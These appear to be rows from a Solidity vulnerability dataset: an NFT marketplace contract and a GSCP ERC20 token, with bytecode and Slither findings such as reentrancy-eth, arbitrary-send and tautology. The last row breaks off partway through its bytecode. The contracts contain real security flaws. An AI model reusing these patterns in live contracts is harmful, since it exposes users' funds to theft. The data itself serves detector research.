Games[_game[i]].limitFee = _limitFee[i];
}
}
function _withdraw(uint256 amount) internal {
require(address(this).balance >= amount);
if(amount > 0) {
msg.sender.transfer(amount);
}
}
function withdraw(uint256 amount) public onlyCeoAddress {
_withdraw(amount);
}
function cancelBussinessByGameId(address _game, uint256 _tokenId) private {
IERC721 erc721Address = IERC721(_game);
if (Games[_game].tokenPrice[_tokenId].tokenOwner == erc721Address.ownerOf(_tokenId)
|| Games[_game].tokenPrice[_tokenId].tokenOwner == address(this)) {
uint256 amount = Games[_game].tokenPrice[_tokenId].fee;
if( amount > 0 && address(this).balance >= amount) {
Games[_game].tokenPrice[_tokenId].tokenOwner.transfer(amount);
}
if(Games[_game].tokenPrice[_tokenId].tokenOwner == address(this)) erc721Address.transfer(Games[_game].tokenPrice[_tokenId].tokenOwner, _tokenId);
resetPrice(_game, _tokenId);
}
}
function cancelBussinessByGame(address _game) private {
uint256[] memory _arrTokenId = Games[_game].tokenIdSale;
for (uint i = 0; i < _arrTokenId.length; i++) {
cancelBussinessByGameId(_game, _arrTokenId[i]);
}
}
function cancelBussiness() public onlyCeoAddress {
for(uint j = 0; j< arrGames.length; j++) {
address _game = arrGames[j];
cancelBussinessByGame(_game);
}
_withdraw(address(this).balance);
}
function revenue() public view returns (uint256){
uint256 fee;
for(uint j = 0; j< arrGames.length; j++) {
address _game = arrGames[j];
IERC721 erc721Address = IERC721(arrGames[j]);
for (uint i = 0; i < Games[_game].tokenIdSale.length; i++) {
uint256 _tokenId = Games[_game].tokenIdSale[i];
if (Games[_game].tokenPrice[_tokenId].tokenOwner == erc721Address.ownerOf(_tokenId)) {
fee = fee.add(Games[_game].tokenPrice[_tokenId].fee);
}
}
}
uint256 amount = address(this).balance.sub(fee);
return amount;
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(address _game, uint256 tokenId) public payable {
IERC721 erc721Address = IERC721(_game);
require(erc721Address.getApproved(tokenId) == address(this));
require(Games[_game].tokenPrice[tokenId].Price > 0 && Games[_game].tokenPrice[tokenId].Price == msg.value);
erc721Address.transferFrom(Games[_game].tokenPrice[tokenId].tokenOwner, msg.sender, tokenId);
Games[_game].tokenPrice[tokenId].tokenOwner.transfer(msg.value);
resetPrice(_game, tokenId);
emit Buy(msg.sender, _game, tokenId, msg.value);
}
function _burnArrayTokenIdSale(address _game, uint256 index) internal {
if (index >= Games[_game].tokenIdSale.length) return;
for (uint i = index; i<Games[_game].tokenIdSale.length-1; i++){
Games[_game].tokenIdSale[i] = Games[_game].tokenIdSale[i+1];
}
delete Games[_game].tokenIdSale[Games[_game].tokenIdSale.length-1];
Games[_game].tokenIdSale.length--;
}
function resetPrice(address _game, uint256 _tokenId) private {
Games[_game].tokenPrice[_tokenId] = Price(address(0), 0, 0);
for (uint8 i = 0; i < Games[_game].tokenIdSale.length; i++) {
if (Games[_game].tokenIdSale[i] == _tokenId) {
_burnArrayTokenIdSale(_game, i);
}
}
emit _resetPrice(_game, _tokenId);
}
}
|
0x60806040526004361061010e5763ffffffff60e060020a600035041663098f236681146101135780630a0f8168146101495780630c0737911461015e5780631f29d2dc1461018b5780632e1a7d4d146101ab5780633e9491a2146101cd578063464311a6146101e25780634a0554d2146102025780636220ab3d146102225780636a272462146102425780636a7ec8ea146102555780636adeecb114610277578063722713f71461028c57806386b5cd1e146102a15780638da5cb5b146102c1578063bf9a886a146102d6578063c8a61698146102f6578063c9f7153c14610316578063cce7ec1314610343578063db83b4c014610356578063e367b5d51461036b578063f2fde38b14610399575b600080fd5b34801561011f57600080fd5b5061013361012e366004611e77565b6103b9565b6040516101409190612048565b60405180910390f35b34801561015557600080fd5b5061013361045f565b34801561016a57600080fd5b5061017e610179366004611e77565b61046e565b60405161014091906120fe565b34801561019757600080fd5b506101336101a6366004611e77565b6104b7565b3480156101b757600080fd5b506101cb6101c6366004611f88565b6104eb565b005b3480156101d957600080fd5b5061017e61050e565b3480156101ee57600080fd5b506101cb6101fd366004611e77565b6106e6565b34801561020e57600080fd5b506101cb61021d366004611eb1565b6108b3565b34801561022e57600080fd5b506101cb61023d366004611efe565b61090f565b6101cb610250366004611eb1565b610a3b565b34801561026157600080fd5b5061026a610f05565b60405161014091906120df565b34801561028357600080fd5b5061017e610f68565b34801561029857600080fd5b5061017e610f6e565b3480156102ad57600080fd5b506101336102bc366004611f88565b610f73565b3480156102cd57600080fd5b50610133610f9b565b3480156102e257600080fd5b5061017e6102f1366004611eb1565b610faa565b34801561030257600080fd5b506101cb610311366004611e3b565b611179565b34801561032257600080fd5b50610336610331366004611e77565b6111d4565b60405161014091906120f0565b6101cb610351366004611e77565b61122c565b34801561036257600080fd5b506101cb611478565b34801561037757600080fd5b5061038b610386366004611e3b565b6114ea565b60405161014092919061210c565b3480156103a557600080fd5b506101cb6103b4366004611e3b565b611506565b6040517f081812fc0000000000000000000000000000000000000000000000000000000081526000908390600160a060020a0382169063081812fc906104039086906004016120fe565b602060405180830381600087803b15801561041d57600080fd5b505af1158015610431573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506104559190810190611e59565b91505b5092915050565b600154600160a060020a031681565b60028054600160a060020a0384166000908152600360205260408120909201546104b091906104a490859063ffffffff61159a16565b9063ffffffff6115c816565b9392505050565b60405160e160020a6331a9108f0281526000908390600160a060020a03821690636352211e906104039086906004016120fe565b600154600160a060020a0316331461050257600080fd5b61050b816115eb565b50565b6000808080808080805b6004548610156106c957600480548790811061053057fe5b60009182526020909120015460048054600160a060020a039092169650908790811061055857fe5b6000918252602082200154600160a060020a0316945092505b600160a060020a0385166000908152600360205260409020600101548310156106be57600160a060020a03851660009081526003602052604090206001018054849081106105bb57fe5b9060005260206000200154915083600160a060020a0316636352211e836040518263ffffffff1660e060020a0281526004016105f791906120fe565b602060405180830381600087803b15801561061157600080fd5b505af1158015610625573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506106499190810190611e59565b600160a060020a0386811660009081526003602090815260408083208784529091529020548116911614156106b357600160a060020a03851660009081526003602090815260408083208584529091529020600201546106b090889063ffffffff61162f16565b96505b600190920191610571565b600190950194610518565b6106da30318863ffffffff61164116565b98975050505050505050565b60405160e160020a6331a9108f0281526000908390839082903390600160a060020a03831690636352211e906107209086906004016120fe565b602060405180830381600087803b15801561073a57600080fd5b505af115801561074e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506107729190810190611e59565b600160a060020a03161461078557600080fd5b600160a060020a0386166000908152600360209081526040808320888452909152808220600201549051339282156108fc02929190818181858888f193505050501580156107d7573d6000803e3d6000fd5b50600160a060020a038681166000908152600360209081526040808320898452909152902054163014156108a157600160a060020a0380871660008181526003602090815260408083208a8452909152908190205490517fa9059cbb000000000000000000000000000000000000000000000000000000008152899750919263a9059cbb9261086e929091169089906004016120c4565b600060405180830381600087803b15801561088857600080fd5b505af115801561089c573d6000803e3d6000fd5b505050505b6108ab8686611658565b505050505050565b600054600160a060020a031633146108ca57600080fd5b600082101580156108dc575060008110155b15156108e757600080fd5b600160a060020a03909216600090815260036020819052604090912060028101929092550155565b60008054600160a060020a0316331461092757600080fd5b825184511461093557600080fd5b5060005b8351811015610a35576000838281518110151561095257fe5b906020019060200201511015801561098257506000828281518110151561097557fe5b9060200190602002015110155b151561098d57600080fd5b828181518110151561099b57fe5b906020019060200201516003600086848151811015156109b757fe5b6020908102909101810151600160a060020a031682528101919091526040016000206002015581518290829081106109eb57fe5b90602001906020020151600360008684815181101515610a0757fe5b6020908102909101810151600160a060020a0316825281019190915260400160002060030155600101610939565b50505050565b6000806000808686600082905033600160a060020a031681600160a060020a0316636352211e846040518263ffffffff1660e060020a028152600401610a8191906120fe565b602060405180830381600087803b158015610a9b57600080fd5b505af1158015610aaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ad39190810190611e59565b600160a060020a031614610ae657600080fd5b600160a060020a03808b1660008181526003602090815260408083208e84529091529081902054905160e160020a6331a9108f0281528d9a50921691636352211e90610b36908d906004016120fe565b602060405180830381600087803b158015610b5057600080fd5b505af1158015610b64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610b889190810190611e59565b600160a060020a031614158015610c29575060405160e160020a6331a9108f0281523090600160a060020a03891690636352211e90610bcb908d906004016120fe565b602060405180830381600087803b158015610be557600080fd5b505af1158015610bf9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610c1d9190810190611e59565b600160a060020a031614155b15610c3857610c388a8a611658565b600160a060020a038a1660009081526003602090815260408083208c8452909152902060010154881415610c6b57600080fd5b610c768a8a8a610faa565b955034861115610c8557600080fd5b600160a060020a038a1660009081526003602090815260408083208c8452909152902060010154881115610e8657600160a060020a038a1660009081526003602090815260408083208c8452909152902060010154610cf1908b90610179908b9063ffffffff61164116565b9450610cfd8a8961046e565b600160a060020a038b1660009081526003602090815260408083208d8452909152902060010154909450158015610d4f5750600160a060020a038a166000908152600360208190526040909120015485105b15610d7857600160a060020a038a16600090815260036020819052604090912001549450610e47565b600160a060020a038a1660009081526003602090815260408083208c8452909152812060010154118015610dc75750600160a060020a038a166000908152600360208190526040909120015484105b15610dd55760009450610e47565b600160a060020a038a1660009081526003602090815260408083208c8452909152902060020154841015610e0c5760009450610e47565b600160a060020a038a1660009081526003602090815260408083208c8452909152902060020154610e4490859063ffffffff61164116565b94505b600160a060020a038a1660009081526003602090815260408083208c8452909152902060020154610e7f90869063ffffffff61162f16565b9450610eb0565b600160a060020a038a1660009081526003602090815260408083208c845290915290206002015494505b610ebc8a8a8a8861176e565b7fa082022e93cfcd9f1da5f9236718053910f7e840da080c789c7845698dc032ff338b8b8b604051610ef19493929190612086565b60405180910390a150505050505050505050565b60606004805480602002602001604051908101604052809291908181526020018280548015610f5d57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610f3f575b505050505090505b90565b60025481565b303190565b6004805482908110610f8157fe5b600091825260209091200154600160a060020a0316905081565b600054600160a060020a031681565b600160a060020a03831660009081526003602090815260408083208584529091528120600101548190819084111561117057600160a060020a038616600090815260036020908152604080832088845290915290206001015461101a90879061017990879063ffffffff61164116565b9150611026868561046e565b600160a060020a03871660009081526003602090815260408083208984529091529020600101549091501580156110785750600160a060020a0386166000908152600360208190526040909120015482105b156110a157600160a060020a038616600090815260036020819052604090912001549250611170565b600160a060020a03861660009081526003602090815260408083208884529091528120600101541180156110f05750600160a060020a0386166000908152600360208190526040909120015481105b156110fe5760009250611170565b600160a060020a03861660009081526003602090815260408083208884529091529020600201548110156111355760009250611170565b600160a060020a038616600090815260036020908152604080832088845290915290206002015461116d90829063ffffffff61164116565b92505b50509392505050565b600154600160a060020a0316331461119057600080fd5b600160a060020a03811615156111a557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6111dc611cc0565b50600160a060020a03808316600090815260036020908152604080832085845282529182902082516060810184528154909416845260018101549184019190915260020154908201525b92915050565b6040517f081812fc00000000000000000000000000000000000000000000000000000000815282903090600160a060020a0383169063081812fc906112759086906004016120fe565b602060405180830381600087803b15801561128f57600080fd5b505af11580156112a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506112c79190810190611e59565b600160a060020a0316146112da57600080fd5b600160a060020a03831660009081526003602090815260408083208584529091528120600101541180156113335750600160a060020a038316600090815260036020908152604080832085845290915290206001015434145b151561133e57600080fd5b600160a060020a038381166000908152600360209081526040808320868452909152908190205490517f23b872dd000000000000000000000000000000000000000000000000000000008152828416926323b872dd926113a79291169033908790600401612056565b600060405180830381600087803b1580156113c157600080fd5b505af11580156113d5573d6000803e3d6000fd5b505050600160a060020a038085166000908152600360209081526040808320878452909152808220549051921692503480156108fc02929091818181858888f1935050505015801561142b573d6000803e3d6000fd5b506114368383611658565b7f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e3384843460405161146b9493929190612086565b60405180910390a1505050565b6001546000908190600160a060020a0316331461149457600080fd5b600091505b6004548210156114dc5760048054839081106114b157fe5b600091825260209091200154600160a060020a031690506114d1816118ae565b600190910190611499565b6114e630316115eb565b5050565b6003602081905260009182526040909120600281015491015482565b600054600160a060020a0316331461151d57600080fd5b600160a060020a038116151561153257600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000808315156115ad5760009150610458565b508282028284828115156115bd57fe5b04146104b057600080fd5b6000808083116115d757600080fd5b82848115156115e257fe5b04949350505050565b30318111156115f957600080fd5b600081111561050b57604051339082156108fc029083906000818181858888f193505050501580156114e6573d6000803e3d6000fd5b6000828201838110156104b057600080fd5b6000808383111561165157600080fd5b5050900390565b6040805160608101825260008082526020808301828152838501838152600160a060020a038881168552600384528685208886529093529483209351845473ffffffffffffffffffffffffffffffffffffffff1916921691909117835551600183015591516002909101555b600160a060020a03831660009081526003602052604090206001015460ff8216101561173d57600160a060020a0383166000908152600360205260409020600101805483919060ff841690811061171757fe5b9060005260206000200154141561173557611735838260ff16611953565b6001016116c4565b7f935357ef93450c7ded8841e9b45492493283c53303e7344fc7aa639868b7c843838360405161146b9291906120c4565b604080516060810182523381526020808201858152828401858152600160a060020a03898116600090815260038086528782208b83528087529782209651875473ffffffffffffffffffffffffffffffffffffffff1916931692909217865592516001808701919091559151600290950194909455928252928201805492830181558352822001849055805b6004548110156118455785600160a060020a031660048281548110151561181d57fe5b600091825260209091200154600160a060020a0316141561183d57600191505b6001016117fa565b8115156108ab57600480546001810182556000919091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b018054600160a060020a03881673ffffffffffffffffffffffffffffffffffffffff19909116179055505050505050565b600160a060020a038116600090815260036020908152604080832060010180548251818502810185019093528083526060949383018282801561191057602002820191906000526020600020905b8154815260200190600101908083116118fc575b50505050509150600090505b815181101561194e5761194683838381518110151561193757fe5b90602001906020020151611a7a565b60010161191c565b505050565b600160a060020a038216600090815260036020526040812060010154821061197a5761194e565b50805b600160a060020a03831660009081526003602052604090206001015460001901811015611a1757600160a060020a038316600090815260036020526040902060019081018054909183019081106119d057fe5b6000918252602080832090910154600160a060020a038616835260039091526040909120600101805483908110611a0357fe5b60009182526020909120015560010161197d565b600160a060020a038316600090815260036020526040902060010180546000198101908110611a4257fe5b60009182526020808320909101829055600160a060020a03851682526003905260409020600101805490610a35906000198301611ceb565b60405160e160020a6331a9108f0281528290600090600160a060020a03831690636352211e90611aae9086906004016120fe565b602060405180830381600087803b158015611ac857600080fd5b505af1158015611adc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611b009190810190611e59565b600160a060020a038581166000908152600360209081526040808320888452909152902054811691161480611b595750600160a060020a0384811660009081526003602090815260408083208784529091529020541630145b15610a355750600160a060020a03831660009081526003602090815260408083208584529091528120600201549081118015611b96575030318111155b15611bef57600160a060020a03808516600090815260036020908152604080832087845290915280822054905192169183156108fc0291849190818181858888f19350505050158015611bed573d6000803e3d6000fd5b505b600160a060020a03848116600090815260036020908152604080832087845290915290205416301415611cb657600160a060020a038481166000908152600360209081526040808320878452909152908190205490517fa9059cbb0000000000000000000000000000000000000000000000000000000081528285169263a9059cbb92611c839291169087906004016120c4565b600060405180830381600087803b158015611c9d57600080fd5b505af1158015611cb1573d6000803e3d6000fd5b505050505b610a358484611658565b6060604051908101604052806000600160a060020a0316815260200160008152602001600081525090565b81548183558181111561194e5760008381526020902061194e918101908301610f6591905b80821115611d245760008155600101611d10565b5090565b60006104b0823561216c565b60006104b0825161216c565b6000601f82018313611d5157600080fd5b8135611d64611d5f82612141565b61211a565b91508181835260208401935060208101905083856020840282011115611d8957600080fd5b60005b83811015611db55781611d9f8882611d28565b8452506020928301929190910190600101611d8c565b5050505092915050565b6000601f82018313611dd057600080fd5b8135611dde611d5f82612141565b91508181835260208401935060208101905083856020840282011115611e0357600080fd5b60005b83811015611db55781611e198882611e2f565b8452506020928301929190910190600101611e06565b60006104b08235610f65565b600060208284031215611e4d57600080fd5b60006104558484611d28565b600060208284031215611e6b57600080fd5b60006104558484611d34565b60008060408385031215611e8a57600080fd5b6000611e968585611d28565b9250506020611ea785828601611e2f565b9150509250929050565b600080600060608486031215611ec657600080fd5b6000611ed28686611d28565b9350506020611ee386828701611e2f565b9250506040611ef486828701611e2f565b9150509250925092565b600080600060608486031215611f1357600080fd5b833567ffffffffffffffff811115611f2a57600080fd5b611f3686828701611d40565b935050602084013567ffffffffffffffff811115611f5357600080fd5b611f5f86828701611dbf565b925050604084013567ffffffffffffffff811115611f7c57600080fd5b611ef486828701611dbf565b600060208284031215611f9a57600080fd5b60006104558484611e2f565b611faf8161216c565b82525050565b6000611fc082612168565b808452602084019350611fd283612162565b60005b8281101561200257611fe8868351611fa6565b611ff182612162565b602096909601959150600101611fd5565b5093949350505050565b8051606083019061201d8482611fa6565b506020820151612030602085018261203f565b506040820151610a3560408501825b611faf81610f65565b602081016112268284611fa6565b606081016120648286611fa6565b6120716020830185611fa6565b61207e604083018461203f565b949350505050565b608081016120948287611fa6565b6120a16020830186611fa6565b6120ae604083018561203f565b6120bb606083018461203f565b95945050505050565b604081016120d28285611fa6565b6104b0602083018461203f565b602080825281016104b08184611fb5565b60608101611226828461200c565b60208101611226828461203f565b604081016120d2828561203f565b60405181810167ffffffffffffffff8111828210171561213957600080fd5b604052919050565b600067ffffffffffffffff82111561215857600080fd5b5060209081020190565b60200190565b5190565b600160a060020a0316905600a265627a7a72305820eac081941793ddd869981be9a1e55db575c92915124b6b4fab3284af25ea77b76c6578706572696d656e74616cf50037
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 1,624 |
0xc8039d8eabbf02595fc6e253c4d35bcdf5e0ed60
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath
{
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns(uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns(uint256)
{
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns(uint256)
{
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns(uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20
{
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
/**
* @title Basic token
*/
contract GSCP is ERC20
{
using SafeMath for uint256;
uint256 constant public TOKEN_DECIMALS = 10 ** 18;
string public constant name = "Genesis Supply Chain Platform";
string public constant symbol = "GSCP";
uint256 public totalTokenSupply = 999999999 * TOKEN_DECIMALS;
uint8 public constant decimals = 18;
address public owner;
event Burn(address indexed _burner, uint256 _value);
/** mappings **/
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
/** constructor **/
constructor() public
{
owner = msg.sender;
balances[address(this)] = totalTokenSupply;
emit Transfer(address(0x0), address(this), balances[address(this)]);
}
/**
* @dev Burn specified number of GSCP tokens
* This function will be called once after all remaining tokens are transferred from
* smartcontract to owner wallet
*/
function burn(uint256 _value) onlyOwner public returns (bool)
{
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalTokenSupply = totalTokenSupply.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns(uint256 _totalSupply)
{
_totalSupply = totalTokenSupply;
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256)
{
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
if (_value == 0)
{
emit Transfer(_from, _to, _value); // Follow the spec to launch the event when value is equal to 0
return;
}
require(_to != address(0x0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value >= 0);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _tokens The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _tokens) public returns(bool)
{
require(_spender != address(0x0));
allowed[msg.sender][_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public view returns(uint256)
{
require(_owner != address(0x0) && _spender != address(0x0));
return allowed[_owner][_spender];
}
/**
* @dev transfer token for a specified address
* @param _address The address to transfer to.
* @param _tokens The amount to be transferred.
*/
function transfer(address _address, uint256 _tokens) public returns(bool)
{
if (_tokens == 0)
{
emit Transfer(msg.sender, _address, _tokens); // Follow the spec to launch the event when tokens are equal to 0
return;
}
require(_address != address(0x0));
require(balances[msg.sender] >= _tokens);
balances[msg.sender] = (balances[msg.sender]).sub(_tokens);
balances[_address] = (balances[_address]).add(_tokens);
emit Transfer(msg.sender, _address, _tokens);
return true;
}
/**
* @dev transfer token from smart contract to another account, only by owner
* @param _address The address to transfer to.
* @param _tokens The amount to be transferred.
*/
function transferTo(address _address, uint256 _tokens) external onlyOwner returns(bool)
{
require( _address != address(0x0));
require( balances[address(this)] >= _tokens.mul(TOKEN_DECIMALS) && _tokens.mul(TOKEN_DECIMALS) > 0);
balances[address(this)] = ( balances[address(this)]).sub(_tokens.mul(TOKEN_DECIMALS));
balances[_address] = (balances[_address]).add(_tokens.mul(TOKEN_DECIMALS));
emit Transfer(address(this), _address, _tokens.mul(TOKEN_DECIMALS));
return true;
}
/**
* @dev transfer ownership of this contract, only by owner
* @param _newOwner The address of the new owner to transfer ownership
*/
function transferOwnership(address _newOwner)public onlyOwner
{
require( _newOwner != address(0x0));
balances[_newOwner] = (balances[_newOwner]).add(balances[owner]);
balances[owner] = 0;
owner = _newOwner;
emit Transfer(msg.sender, _newOwner, balances[_newOwner]);
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
{
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/* This unnamed function is called whenever someone tries to send ether to it */
function () public payable
{
revert();
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f65780631ca8b6cb1461022157806323b872dd1461024c57806327e235e3146102d15780632ccb1b3014610328578063313ce5671461038d57806342966c68146103be5780635b7f415c14610403578063661884631461042e57806370a08231146104935780638da5cb5b146104ea57806395d89b4114610541578063a9059cbb146105d1578063d73dd62314610636578063dd62ed3e1461069b578063f2fde38b14610712575b600080fd5b34801561010d57600080fd5b50610116610755565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061078e565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b6108bb565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b506102366108c7565b6040518082815260200191505060405180910390f35b34801561025857600080fd5b506102b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108cd565b604051808215151515815260200191505060405180910390f35b3480156102dd57600080fd5b50610312600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0a565b6040518082815260200191505060405180910390f35b34801561033457600080fd5b50610373600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d22565b604051808215151515815260200191505060405180910390f35b34801561039957600080fd5b506103a2611031565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103ca57600080fd5b506103e960048036038101908080359060200190929190505050611036565b604051808215151515815260200191505060405180910390f35b34801561040f57600080fd5b506104186111ee565b6040518082815260200191505060405180910390f35b34801561043a57600080fd5b50610479600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111fa565b604051808215151515815260200191505060405180910390f35b34801561049f57600080fd5b506104d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061148b565b6040518082815260200191505060405180910390f35b3480156104f657600080fd5b506104ff6114d4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054d57600080fd5b506105566114fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059657808201518184015260208101905061057b565b50505050905090810190601f1680156105c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105dd57600080fd5b5061061c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611533565b604051808215151515815260200191505060405180910390f35b34801561064257600080fd5b50610681600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117cb565b604051808215151515815260200191505060405180910390f35b3480156106a757600080fd5b506106fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c7565b6040518082815260200191505060405180910390f35b34801561071e57600080fd5b50610753600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ac2565b005b6040805190810160405280601d81526020017f47656e6573697320537570706c7920436861696e20506c6174666f726d00000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107cb57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008054905080905090565b60005481565b600080821415610941578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3610d03565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561097d57600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610a48575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610a55575060008210155b1515610a6057600080fd5b610ab282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b8482600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9f90919063ffffffff16565b600360008673fffffffffffffffffffffffffffffffffff